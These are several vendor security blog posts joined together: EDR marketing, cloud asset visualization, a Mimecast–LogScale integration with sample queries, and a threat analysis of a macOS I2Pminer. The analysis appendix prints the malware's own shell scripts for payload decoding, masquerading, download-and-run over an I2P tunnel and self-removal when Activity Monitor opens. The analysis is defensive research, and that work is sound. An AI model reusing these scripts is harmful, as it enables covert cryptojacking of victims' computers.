It’s no surprise why. CrowdStrike pioneered the concept of EDR and changed the way security is delivered with our lightweight agent and cloud-native architecture. In our view, industry-leading cybersecurity is built on two essential components: a comprehensive understanding of the adversary and a superior user experience for analysts using the platform. The only way to stop modern threat actors is with a platform approach that leverages artificial intelligence and machine learning to harness the power of trusted data to detect and block malicious activity.

“The best security involves having a good understanding of your enemy and the extent of the impact they could make (or have already made) on your IT infrastructure. Endpoint detection and response are the boots on the ground when it comes to seeing, stopping and investigating cyber threats on the network.” — SE Labs Annual Report 2023

This rich telemetry and threat intelligence form the foundation of nearly everything we do, from our EDR product to the development of XDR. CrowdStrike Falcon^® Insight XDR expands our detection and response capabilities to leverage a broader set of data and improve protection, gain efficiency and reduce complexity while providing a seamless user experience. CrowdStrike has demonstrated our strength in EDR and XDR to SE Labs through our strong lab performances and practical success. 

We believe leadership in EDR is essential to lead in XDR. As the technological and market leader in this space, CrowdStrike is uniquely positioned to continue driving the endpoint security market into the future.

1. IDC Worldwide Modern Endpoint Security Market Shares, July 2021-June 2022. Doc #US49982022, Feb. 2023
2. IDC Worldwide Corporate Endpoint Security Market Shares, 2021. Doc #US48580022, May 2022

Additional Resources

• Learn how the powerful CrowdStrike Falcon^® platform provides comprehensive protection across your organization, workers and data, wherever they are located.
• Learn more about CrowdStrike’s recognition as a security leader by industry analysts, independent testing organizations, security professionals and customers by visiting our Industry Recognition and Technology Validation webpage.
• Learn more about how CrowdStrike solutions protect your business from crippling data leaks and ransoms and proactively defend against ransomware threats.
• The industry-leading CrowdStrike Falcon® platform sets the new standard in cybersecurity. Watch this demo to see the Falcon platform in action.
• See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like ransomware. Start a 15-day free trial today.

Public cloud services and cloud assets are agile and dynamic environments. Close oversight of these assets is a critical component of your asset management and security practices.

While it’s important to understand the relationships and potential vulnerabilities of your cloud assets, the practice of managing these systems is complicated by the ever-changing nature of cloud environments. Any changes in these environments can be invoked by a variety of staff members — site reliability engineers (SREs), DevOps, cloud architects, compliance teams, security teams and the cloud services providers (CSPs). Without situational awareness, it can be difficult to make good decisions about remediation and organizational risk.  

As organizations move to a cloud-first posture, users need a contextual view of cloud assets and how these assets are connected to each other. This contextual view is vitally important to security teams that want to quickly assess the potential risk of any security breach and understand the potential risk to other cloud assets. 

Take the CrowdStrike Cloud Security Challenge with a free Cloud Security Health Check 

Visualize Cloud Risk and Compliance with CrowdStrike Cloud Security

With the integration of the CrowdStrike^® Asset Graph, CrowdStrike Cloud Security delivers powerful asset inventory and visualization features that strengthen your cloud security posture through risk mitigation and compliance enforcement. 

Here are three ways that CrowdStrike Cloud Asset Visualization features helps you improve and strengthen your cloud security posture: 

1. Create a Holistic View of Cloud Asset Inventory 

The Cloud Asset Overview Dashboard provides a holistic view of your cloud asset inventory.

This dashboard includes top counts, trends, detections, misconfigurations and other details across multiple public cloud environments (i.e., AWS, Azure, GCP).  

Additionally, you can drill down and filter to review specific asset information details within the Cloud Assets table.

The Cloud Assets table provides a comprehensive asset inventory, covering all cloud assets/services from AWS, Azure and GCP and showing the risk posture from an asset-centric view. Users can:

• Investigate all cloud assets in one place and each asset’s security posture
• Save filters (including cloud “tags”) to focus on assets that are designated for monitoring
• Define and save filters to focus on what matters most to your organization

2. Gain Context Between Cloud Assets and Their Risk Exposure

The Cloud Assets Graph tracks the relationships between cloud assets and shows their associated risk exposure to give you the context needed to reduce risk and close gaps in your posture. Using this graph, you can visualize misconfigured or insecure assets and take remediation and preventive actions on these assets as well as any connected cloud assets.

From the Cloud Asset table, you can open the Asset Graph view to visualize the asset context:

This Asset Graph displays the selected cloud asset and its connections to other assets:

• The cloud asset you are investigating is the circled “central entity” in the graph. 
• The asset details panel for the central entity is open when you first access the graph.
• Lines to other assets in the graph indicate relationships between those assets and the central entity.
• A dotted line between assets indicates that one asset is an asset type that defines a configuration for the other asset.

Next, you can expand the graph by clicking on the plus sign to view adjacent assets connected to the central entity:

This expanded view provides a comprehensive graph of all assets connected to the central entity and any indicators of misconfigurations (IOMs) associated with those adjacent assets (e.g., assets with critical IOMs are highlighted in red)

Finally, enabling the Legends option (toggle) will provide the ability to highlight another asset and detail IOMs associated with that particular asset. Additionally, you can “hide” specific asset classes and focus on just a single type (e.g., show only EC2 instances or security groups).

3. Get Context on Cloud Breaches and Enforce Compliance 

By gaining a full understanding of how every cloud asset is connected and getting context on their associated and compounded risk, security teams have the information required to identify cloud risk scenarios — and see how a breach would affect the broader environment. 

For example, incident response (IR) teams need to understand the security breach context to develop effective recommendations for remediation and prevention. The IR team can visually review a detection “in context” of the system to understand the implications of potential lateral spread of the breach across other cloud assets.

At the same time, corporate governance and compliance teams can use this information to understand the specific compliance state (e.g., NIST, PCI, CIS) of the cloud assets and applications that utilize these assets. 

Managing your cloud environment starts with a full understanding of the relationships and connections between your cloud assets. With the integration of Asset Graph and powerful new visualization features, CrowdStrike Cloud Security provides the comprehensive view and insight needed to fully evaluate the health and security of the entire cloud ecosystem and protect your cloud assets.

Additional Resources

• To learn more about the cloud threat landscape, download “Protectors of the Cloud: Combating the Rise in Threats to Cloud Environments.” 
• Learn how you can stop cloud breaches with CrowdStrike unified cloud security for multi-cloud and hybrid environments — all in one lightweight platform.
• Build, run and secure cloud-native applications with speed and confidence using Falcon Cloud Workload Protection.
• Visit the Falcon Cloud Workload Protection Complete product webpage to see if a managed detection and response solution for cloud workloads is right for your organization.

Email is the top initial attack vector, with phishing campaigns responsible for many damaging cyber attacks, including ransomware. Being able to search Mimecast email security logs in CrowdStrike Falcon® LogScale (formerly known as Humio), alongside other log sources such as endpoint, network and authentication data helps cybersecurity teams detect and respond to cyber attacks.

This integration enables joint customers to detect and respond to email attacks more quickly, mitigating the risk of widespread damage. The integration drives more value for customers by enabling correlation across email and other log sources, and delivers more complete investigations that facilitate fast and targeted remediation.

What is the LogScale and Mimecast integration?

The integration enables joint customers to ingest their Mimecast email security logs into LogScale. Once ingested, customers can view summary dashboards to see trends and high-level information, as well as drill down with flexible searches of the Mimecast data. Complex correlation searches across Mimecast data and other log sources can also be created with LogScale’s query language. Customers can create live searches which trigger alerts when potential malicious activity is observed.

How does the integration work?

Mimecast has developed a LogScale connector which is available for free. The connector pulls logs from the Mimecast service and ingests them into LogScale. The connector works with LogScale SaaS or hybrid deployments.

By installing the accompanying package from the marketplace within the LogScale interface, customers get instant access to a comprehensive set of eight multi-panel dashboards correlating to the different log source types from Mimecast.

How customers benefit

With LogScale’s unlimited price plans and modern architecture that compresses data by up to 80x, many customers can afford to log everything and aren’t forced to make compromises that introduce blindspots and risk.

By ingesting Mimecast logs alongside other log sources, customers can obtain complete visibility across the environment. LogScale customers can get more value from their Mimecast service by taking Mimecast detections of suspicious URLs or attachments and searching for them across the rest of their estate.

Full fidelity cyber investigations enable rapid containment and targeted remediation

LogScale customers can afford to retain their data for longer. This is particularly important with email security logs, as cyber investigations often go back months. Being able to work back to the initial email attack allows you to perform complete, full-fidelity investigations and confidently uncover the full extent of the attack.

Without this access to the logs, many investigations are inconclusive, forcing customers to either adopt a broad remediation plan that is expensive and can impact productivity, or go with a narrower remediation plan that risks leaving the attacker with a presence in their systems.

Extend threat hunting to include email security logs

LogScale’s fast search capabilities and comprehensive query language enable threat hunters to quickly execute queries, including complex correlation searches across multiple data sources. Threat hunters can now include Mimecast email security logs in their analysis and get insight from endpoint and network logs, and correlate these with Mimecast email security logs to get the full picture.

Using the integration

There are numerous ways to get value from your Mimecast email security logs through LogScale. Say, for example, a security investigation is triggered from an endpoint detection that has seen suspicious process activity on a user machine. We’ll assume the endpoint tool can tell us the URL from which the malware was downloaded. If this isn’t the case, it may be necessary to search for network data to link the malicious file seen at the endpoint with a download URL.

By searching the Mimecast logs for that URL, customers can discover if that URL was contained as a link in a phishing email.

To search Mimecast for a certain URL, here’s the LogScale query for an example URL of http[:]//t.mitt.dn.se/r/?id=hda9764d9,6476bff9,6476c038

In this query, we’re limiting the search to the relevant log source (“ttp-url-logs“) for miniscule efficiency gains, but you could also just search for the URL and leave out the first line.

#source = "ttp-url-logs" 
| url = "http://t.mitt.dn.se/r/?id=hda9764d9,6476bff9,6476c038"

From the results, we can pick out key fields such as the @timestamp, subject, from UserEmailAddress, userEmailAddress, sendingIP and messageID too.

A next step may be to investigate whether that IP address has sent other emails that may be from different addresses and with different subject lines, but also contain URLs … and to list those URLs in a table with the below query:

sendingIp= 130.117.8.227 
| top(url)

As shown above, there are six other URLs that may be of concern and it’s probably wise to search for any evidence of connectivity to these URLs across other log sources in LogScale, including endpoint and network data.

Now that you have all the relevant emails, go to the Mimecast console and use the messageID field to find the relevant emails in Mimecast and delete them from the user’s inbox and archive.

Next steps

To get started, visit the marketplace from within the LogScale interface, install the Mimecast package and configure the connector per the instructions.

We’re always looking for feedback. If you have ideas and feedback for enhancements to the Mimecast package in the LogScale marketplace, let us know at [email protected]. Learn more about LogScale at https://www.crowdstrike.com/products/observability/falcon-logscale/

 

• CrowdStrike analyzed an I2Pminer variant that targets macOS
• The mineware utilizes I2P to hide XMRig network traffic
• The CrowdStrike Falcon^® platform provides continuous protection against mineware threats by offering real-time visibility across workloads

CrowdStrike recently analyzed a macOS-targeted mineware campaign that utilized malicious application bundles to deliver open source XMRig cryptomining software and Invisible Internet Protocol (I2P) network tooling. 

Research began after identifying suspicious multi-architecture binaries within a public malware repository. Analysis of common samples shows that the techniques in this campaign date back to the summer of 2021. The identified applications shared a common theme: identifying as Apple Logic Pro X, Final Cut Pro, Traktor or various Adobe Creative Suite products. The primary executable is a dropper containing a legitimate version of the application and I2P tooling. Utilizing I2P, the dropper then downloads a custom XMRig miner and orchestrates the mining operations.

Open source reporting¹ also observed similar usage of I2P and XMRig, but the previous threats did not involve the same usage of a legitimate application and scripts to deploy its tooling. 

The CrowdStrike Falcon platform provides continuous protection against cryptomining threats by delivering real-time visibility across workloads to protect customers.

Technical Analysis

This campaign lures the victim into believing that they are installing a legitimate application for successful execution. The malicious dropper contains a legitimate version of the software and executes it to give the illusion of a properly behaving application. It then relies on a number of shell scripts to configure and orchestrate its mining operations. The following analysis was performed on a binary that drops and executes a copy of Apple Logic Pro X (bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7).

Installation

It is likely that these malicious application bundles are distributed via Apple Disk Images (DMGs). The malicious application bundles were observed executing out of the /Applications/ folder. DMGs are a common delivery mechanism for both benign and malicious software. It is typical for DMGs to instruct users to drag and drop application bundles from the mounted disk image to the application folder.

Dropper Binary

At the core of these malicious application bundles is a Mach-O binary acting as a dropper. Binaries were found to be universal Mach-Os, supporting both x86_64 and ARM architectures. The dropper binary is located within the installed application bundle at /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X. Therefore, it executes when the application bundle is launched. The dropper is responsible for orchestrating the installation and execution of the legitimate application, I2P tooling and XMRig miner. Figure 2 outlines the multiple layers of process execution.

Throughout the dropper’s lifecycle, it heavily relies on randomly generated names for folders and files in the /tmp/ directory. The dropper binary generates a number of these file paths through its own random character generator and dynamically produces the script content with these generated values. The scripts also rely heavily on the usage of mktemp to generate variables within the scripts. Both of these methods produce files with the syntax of ._[a-zA-Z]{8} (e.g., ._JdYdPLMq). Files produced within the Mach-O are generated with 10 characters, whereas usage of mktemp within the scripts produces files made of eight characters.

Legitimate Application Dropper Script

In order to appear as a working copy of Logic Pro X, the dropper contains a legitimate copy of the lure application. The dropper starts by generating a script to decode the legitimate Mach-O file. During this process a large Base64-encoded file is written to disk. An example of this script can be found in the Appendix. Its purpose is to create a mirrored application bundle located in the host’s /tmp/ directory. The mirrored bundle contains the legitimate application instead of the dropper binary.

The generated script is executed via a /bin/sh subprocess. The script removes any files that conflict with its randomly generated paths. Then it creates a new folder structured for the bundle located at /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents. It creates symbolic links in the /tmp/ bundle to mirror all directories found in /Applications/Logic Pro X.app/Contents and /Applications/Logic Pro X.app/Contents/MacOS to their respective /tmp/ locations. All files located in /Applications/Logic Pro X.app/Contents folder are copied to their respective /tmp/ location. The Logic Pro X dropper binary is deleted with the /tmp/ bundle. It will be replaced with the legitimate application. In order to unpack the legitimate binary, the previously written Base64 file is decoded and unarchived. The contents are saved to /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents/MacOS/Logic Pro X. The script’s final action is to set the executable bit of this binary.

The dropper then forks itself in order to launch the legitimate application. The forked process makes a call to execl to execute the legitimate Logic Pro X application located in /tmp/. 

The original dropper process continues to execute in order to orchestrate the mining operations. It relies on two additional scripts to configure the I2P network tooling and download the XMRig mining software.

I2P Dropper Script

I2P is an anonymous network layer. All communications over I2P are anonymous and end-to-end encrypted, and users of the network don’t reveal their real IP addresses. The dropper binary unpacks a customized Mach-O compiled from the open source i2pd (I2P Daemon) project. Usage of i2pd enables other processes on the computer to tunnel traffic to the I2P network. I2P is configured and used by the dropper to download the mining tooling but also to proxy the miner’s network communications.

The I2P dropper script is written to disk at /tmp/._[a-zA-Z]{10}. An example of the script can be found in the Appendix. The script is executed as a /bin/sh subprocess.

The script first deletes itself from the disk. This is done to evade detection but also to open up the opportunity to reuse the same randomly generated filename for the actual i2pd binary. The i2pd binary is stored within the script as a large, inline Base64-encoded variable. This value is decoded and the output is written to an additional file (/tmp/._[a-zA-Z]{8}). This file is read and unarchived to the original file path of the I2P dropper script. The script pads the resulting Mach-O with a random number of \x00 bytes. The padded i2pd Mach-O file is executed via a call to

exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0"

Note that $0 will resolve the first argument of the current process. This is the file path of the I2P dropper script, which was replaced with the padded i2pd Mach-O file. The exec call will execute the binary and modify the process name to the  mdworker_shared file path. After the process executes, the I2P dropper script removes the i2pd Mach-O file from the disk.

i2pd

The I2P Daemon binary dropped by the Logic Pro X dropper is tooling built using version 2.41.0 of the open source project. It is a universal binary supporting both x86_64 and ARM architectures. 

Public i2pd binaries rely on config files or command line arguments for necessary configuration of tunnels and upstream connections. The binary used in this threat is custom tooling developed on top of the i2pd code base. In addition to running the I2P network stack, it also contains static configuration elements necessary for the operation of the XMRig miner. This allows it to minimize command line arguments and additional files dropped to disk.

The custom binary is built to configure two tunnels from the local host to the I2P network. These tunnels are responsible for the localhost listeners on ports 4444 and 4445. The listener utilizing port 4444 is called “pool” while the listener utilizing port 4445 is labeled “payload.” These align with their usage by the XMRig downloader and miner. Each tunnel is configured to tunnel traffic to an upstream address within the I2P network. The following chart summarizes the tunnels and their configurations.

Label	Type	Local Address	Local Port	Destination Address
pool	client	127.0.0.1	4444	hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p
payload	client	127.0.0.1	4445	jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p

The host now has a running i2pd process. This will enable it to use the I2P network for the XMRig download, and to handle the miner’s network communications.

XMRig Downloader Script

XMRig is an open source CPU/GPU miner that supports numerous protocols.The dropper generates and executes a script to download, configure and execute a copy of a XMRig miner. An example of the script can be found in the Appendix. The script is executed as a command line argument passed into a /bin/sh -c [scriptcontent] subprocess.

This script is executed by the Mach-O dropper before the I2P Dropper script, but its first step is to sit in a loop and wait for the creation of the /tmp/i2pd directory. This directory is generated during the execution of the I2P Dropper script. After this file is detected, the XMRig downloader starts a second I2P Daemon process and saves the new pid to /tmp/i2pd. The script then removes any files that conflict with its randomly generated paths.

The script then enters a download loop that contains two subloops, one to download the MD5 hash of the XMRig payload, and a second to download the XMRig payload. During the first subloop, curl is used to download a MD5 hash from http://127.0.0[.]1:4445/updtmd. This localhost port is configured to tunnel traffic through i2pd to the destination address listed above. This loop attempts the download every five seconds until it is successful. During this loop, the script implements a check using pgrep for Activity Monitor processes in an attempt to evade user detection. If Activity Monitor is detected then execution is stopped and the script exits. If the MD5 hash is successfully downloaded, its value is saved and execution is passed to the second subloop. This second subloop performs the same actions but instead pulls the XMRig payload from http://127.0.0[.]1:4445/update. If this download is successfully written to disk, it is hashed and the value is compared to the previously downloaded MD5 hash. If the hashes are equal, execution proceeds past the download loop — otherwise, the outer download loop is reevaluated.

The XMRig payload is then extracted from the download via tar, and the resulting Mach-O file is padded with a random number of \x00 bytes. Similar to the ip2d process, it is executed via an exec -a call utilizing a process name of

/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local

Next, the XMRig Download Script sends the XMRig miner a config via the XMRig miner’s native API. In order to accomplish this, curl is used to send a post message to http://127.0.0[.]1:4543/1/config. Port 4543 is the default listening port for XMRig’s API. An example of this config can be found in the Appendix. The script enters a final loop to once again check for the presence of an Activity Monitor process. If Activity Monitor is running, the script kills the I2P Daemon and XMRig miner processes and exits.

XMRig

The XMRig binary dropped by the Logic Pro X dropper is also custom tooling built using version 6.18.1 of the open source project. This is also a universal binary supporting both x86_64 and ARM architectures.

The binary’s source is modified to execute with an altered default configuration. Similar to the I2P Daemon, this is done to minimize command line arguments. The binary does not need a command line miner config. The http API is also enabled by default. This is done so that no configs need to be passed via the command line and that the config can be sent via curl within the XMRig download script.

The config also reveals a few details about the mining operations. The existence of a donate-over-proxy value and the usage of generic user and password values within the XMRig configuration reveal the usage of a mining proxy. The usage of a proxy allows authors to control all of their mining implants and their target pools via a centralized console. This proxy server is located on the I2P network at the destination of the pool tunnel.

The XMRig implant will execute until the user logs off, shuts down their computer or opens Activity Monitor. With the observed configuration, it will utilize the I2P network and the mining proxy to perform CPU mining operations on the host.

Defense Evasion

The dropper binary and its scripts utilize a number of techniques to avoid detection.

The dropper bundle in the applications folder appears legitimate, and this bundle houses all of the Logic Pro X dependencies/frameworks. The authors cleverly utilized these legitimate dependencies via symbolic links when dynamically creating the legitimate bundle in the temp folder.

Even though the scripts produce many on-disk artifacts, the dropper and scripts are quick to remove them as soon as they are executed or used. The i2pd and XMRig binaries are padded with a random number of zero bytes to change its hash and expand its size. They also both use CoreServices framework binaries as the execution name. This is so that it can blend in within process tree/process viewers.

Mining-related CPU spikes can be difficult to notice due to the system resource-intensive applications that were chosen. If these spikes are noticed, the implant is also quick to kill itself and clean up its on-disk artifacts if it determines the user is investigating system resources via Activity Monitor.

Persistence

The dropper does not establish persistence through typical means, instead relying on the lure of its legitimate application for execution. The mining infrastructure is dropped, downloaded and deleted every time the dropper executes. As long as the dropper successfully launches its legitimate application, the user will continue to execute the dropper under the assumption that it is legitimate.

Dropper Variant

A related group of dropper variants was also identified (e.g., 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5). These variants are distributed by a malicious application bundle that contains a setup script, legitimate application and Mach-O dropper. All three files are distributed within the Contents/MacOS directory in the application bundle. The setup script is the app bundle’s primary executable and serves to execute the legitimate binary, copy the Mach-O dropper to /tmp/._[a-zA-Z]{10} and execute the relocated Mach-O. Similar to the techniques and analysis above, the Mach-O dropper installs i2pd and the XMRig miner. The variants utilize the same variable names and directory naming schema, and also date back to Summer 2021.

The CrowdStrike Falcon Platform’s Continuous Monitoring and Visibility

The Falcon platform takes a layered approach to protect workloads. Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and procedures (TTPs) employed by threats and threat actors, the Falcon platform enables visibility, threat detection and continuous monitoring for any environment, reducing the time to detect and mitigate threats.

The industry-leading CrowdStrike Falcon platform sets the new standard in cybersecurity. Watch this demo to see the Falcon platform in action.

The Falcon platform prevents I2Pminer at various steps throughout its execution, detecting and preventing behavior such as the suspicious dropper script (see Figure 3). CrowdStrike’s proactive research targeted the behavior of this malware. It was discovered that some preventions already applied to the variants before it was known to our researchers. To reinforce the layered approach, our teams have since added even more coverage, resulting in several preventions that apply to various stages in the chain.

To maximize protection, CrowdStrike recommends enabling the following prevention policy visibility and configuration toggles.

Toggle	Prevention Policy Category	Description
Script-Based Execution Monitoring	Sensor Visibility	Provides visibility into suspicious scripts, including shell and other scripting languages.
Suspicious Processes	Execution Blocking	Block processes that CrowdStrike analysts classify as suspicious. These are focused on dynamic IOAs, such as malware, exploits and other threats.

See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware. Start your 15-day free trial today.

MITRE ATT&CK Framework

Tactic	Technique	Description
Execution	Command and Scripting Interpreter: Unix Shell (T1059.004)	The dropper utilizes /bin/sh for subprocess execution.
	User Execution (T1204)	The dropper is executed by the user.
Defense Evasion	Deobfuscate/Decode Files or Information (T1140)	Files are dropped/downloaded as Base64-encoded archives.
	Indicator Removal: File Deletion (T1070.004)	Files are deleted after use.
	Masquerading: Match Legitimate Name or Location (T1036.005)	The dropper is installed into a legitimate file path, posing as the legitimate application. i2pd and XMRig also utilize legitimate file paths to mask their execution.
Command and Control	Protocol Tunneling (T1572)	XMRig download and mining communications are tunneled through the I2P network layer.
Impact	Resource Hijacking (T1496)	XMRig utilizes system resources for mining operations.

Indicators of Compromise (IOCs)

Files

File	SHA256
Dropper (Logic Pro X)	bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7
i2pd	a22b48ce098ad4b082c4f4de78c708294e08212ab8dfd818642f7922c8e794c3
XMRig	86019af5850b01c6c6c9c724e0468a891947b2ef5da930405a30342f1e6ae5eb
Dropper (Variant)	27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5

I2P Domains

Domain

hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p

jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p

Appendix

Legitimate Application Script

sh -c SCRIPTPATH=$( cd -- "$(dirname "/Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X")/.." >/dev/null 2>&1 ; pwd -P );BLOB_PATH="/tmp/._KbmflZqwXa";IMG_SP_PATH="/tmp/._bHOospjBUL";[ -f "$IMG_SP_PATH" ] && rm -rf "$IMG_SP_PATH";[ -d "$IMG_SP_PATH" ] && rm -rf "$IMG_SP_PATH";TMPDIR="$IMG_SP_PATH/Logic Pro X.app/Contents";mkdir -p "$TMPDIR";( find "$SCRIPTPATH" -type d -mindepth 1 -maxdepth 1 -exec ln -s ../ {} "$TMPDIR" \;) > /dev/null 2>&1;rm -rf "$TMPDIR/MacOS";mkdir "$TMPDIR/MacOS";(find "$SCRIPTPATH" -type f -maxdepth 1 -exec cp {} "$TMPDIR" \;) > /dev/null 2>&1;(find "$SCRIPTPATH/MacOS" -type f -mindepth 1 -maxdepth 1 -exec ln -s ../ {} "$TMPDIR/MacOS" \;) > /dev/null 2>&1;APP_MACH="$TMPDIR/MacOS/Logic Pro X";rm -rf "$APP_MACH";CT=$(mktemp /tmp/._XXXXXXXX);cat "$BLOB_PATH" | base64 -o "$CT" -d;tar -xf "$CT" -O >"$APP_MACH";rm -rf "$CT";rm -rf "$BLOB_PATH";chmod +x "$APP_MACH";

I2P Dropper Script

#!/bin/bash
rm -rf "$0";I2PCTMPFILE=$(mktemp /tmp/._XXXXXXXX);I2PBASE64BLOB="[base64 blob]";echo $I2PBASE64BLOB | base64 -o "$I2PCTMPFILE" -d;tar -xf "$I2PCTMPFILE" -O > "$0";head -c $(($RANDOM*$((1 + RANDOM % 1000)))) /dev/zero >> "$0";rm -rf "$I2PCTMPFILE";chmod +x "$0";(( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0" ) & echo $! > "/tmp/i2pd/._pid");sleep 3 && rm -rf "$0";exit

XMRig Downloader Script

sh -c /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/mdworker-bundle -s mdworker-bundle -c MDSImporterBundleFinder -m com.apple.metadata.mdbulkimport > /dev/null 2>&1;appId="[uniqueid]";r_nme="BGlyVRaZgH";r_i2="QSRqPzSHBd";tmr="\u000c";rnd_sz="2521286";PLD="update";MD5="updtmd";[ ! -d "/tmp/i2pd" ] && mkdir "/tmp/i2pd"; (( while true; do sleep 1; [ -f "/tmp/i2pd/._pid" ] && break;done; PID=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; chmod +x "/tmp/._${r_i2}"; ("/tmp/._${r_i2}" &); while true; do sleep 2; [ -f "/tmp/i2pd/._pid" ] && break;done; I2PD_PID=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; tmpwd="/tmp"; d_p="$tmpwd/._${r_nme}"; d_md5="$tmpwd/._${r_nme}_md5"; [ -d "$d_p" ] && rm -rf "$d_p"; [ -d "$d_md5" ] && rm -rf "$d_md5"; [ -f "$d_p" ] && rm -rf "$d_p"; [ -f "$d_md5" ] && rm -rf "$d_md5"; complete="false"; finished="false"; while [ "$complete" != "true" ]; do while [ "$finished" != "true" ]; do curl --silent -o "$d_md5" "http://127.0.0.1:4445/$MD5"; [ -f "$d_md5" ] && finished="true" && md2=$(cat "$d_md5") && rm -rf "$d_md5"; sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1;[ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1;pkill "._${r_i2}";exit); done; finished="false"; while [ "$finished" != "true" ]; do curl --silent -o "$d_p" "http://127.0.0.1:4445/$PLD"; [ -f "$d_p" ] && finished="true" && md1=$(md5 -q "$d_p"); sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ -f "$d_p" ] && rm -rf "$d_p";[ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1;[ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1;pkill "._${r_i2}";exit); done; [[ "$md1" == "$md2" ]] && complete="true"; done; TMPFILE=$(mktemp /tmp/._XXXXXXXX); tar -xf "$d_p" -O > "$TMPFILE"; rm -rf "$d_p"; mv "$TMPFILE" "$d_p"; head -c $rnd_sz /dev/zero >> "$d_p"; chmod +x "$d_p"; (( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local" "$d_p" ) & echo $! > "/tmp/i2pd/._pid"); PIDW=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; sleep 9; XARCH=$(uname -m); [[ "$XARCH" == "x86_64" ]] && HP=true || HP=false; echo '{ "api": { "id": null, "worker-id": null }, "http": { "enabled": true, "host": "127.0.0.1", "port": 4543, "access-token": 2, "restricted": false }, "autosave": true, "background": false, "colors": true, "title": true, "randomx": { "init": -1, "init-avx2": -1, "mode": "auto", "1gb-pages": false, "rdmsr": true, "wrmsr": true, "cache_qos": false, "numa": true, "scratchpad_prefetch_mode": 1 }, "cpu": { "enabled": true, "huge-pages": '$HP', "huge-pages-jit": false, "hw-aes": null, "priority": null, "memory-pool": false, "yield": true, "max-threads-hint": 25, "asm": false, "argon2-impl": null, "astrobwt-max-size": 550, "astrobwt-avx2": false, "cn/0": false, "cn-lite/0": false }, "opencl": { "enabled": false, "cache": true, "loader": null, "platform": "AMD", "adl": true, "cn/0": false, "cn-lite/0": false }, "cuda": { "enabled": false, "loader": null, "nvml": true, "cn/0": false, "cn-lite/0": false }, "donate-level": 0, "donate-over-proxy": 1, "log-file": null, "pools": [ { "algo": null, "coin": null, "url": "127.0.0.1:4444", "user": "x", "pass": "x", "rig-id": "'${XARCH:0:1}${appId:0:7}'", "nicehash": true, "keepalive": false, "enabled": true, "tls": false, "tls-fingerprint": null, "daemon": false, "socks5": null, "self-select": null, "submit-to-origin": false } ], "print-time": 60, "health-print-time": 60, "dmi": true, "retries": 5, "retry-pause": 5, "syslog": false, "tls": { "enabled": false, "protocols": null, "cert": null, "cert_key": null, "ciphers": null, "ciphersuites": null, "dhparam": null }, "user-agent": null, "verbose": 0, "watch": true, "pause-on-battery": false, "pause-on-active": false }'|curl --silent --data-binary @- -H "Expect: 2400" -H "Content-Type: application/json" -H "Authorization: Bearer 2" http://127.0.0.1:4543/1/config > /dev/null; [ -f "$d_p" ] && rm -rf "$d_p"; (APID=$$;(while true; do sleep 3;(pgrep -x 'Activity Monitor' > /dev/null) && break;done;); [ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1; [ "$PIDW" != "" ] && kill "$PIDW" > /dev/null 2>&1; [ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1; pkill "._${r_nme}"; pkill "._${r_i2}"; kill "$APID" > /dev/null 2>&1;); exit) & echo $! > "/tmp/i2pd/._pid");

XMRig Config

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "127.0.0.1",
        "port": 4543,
        "access-token": 2,
        "restricted": false
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": "$HP",
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 25,
        "asm": false,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
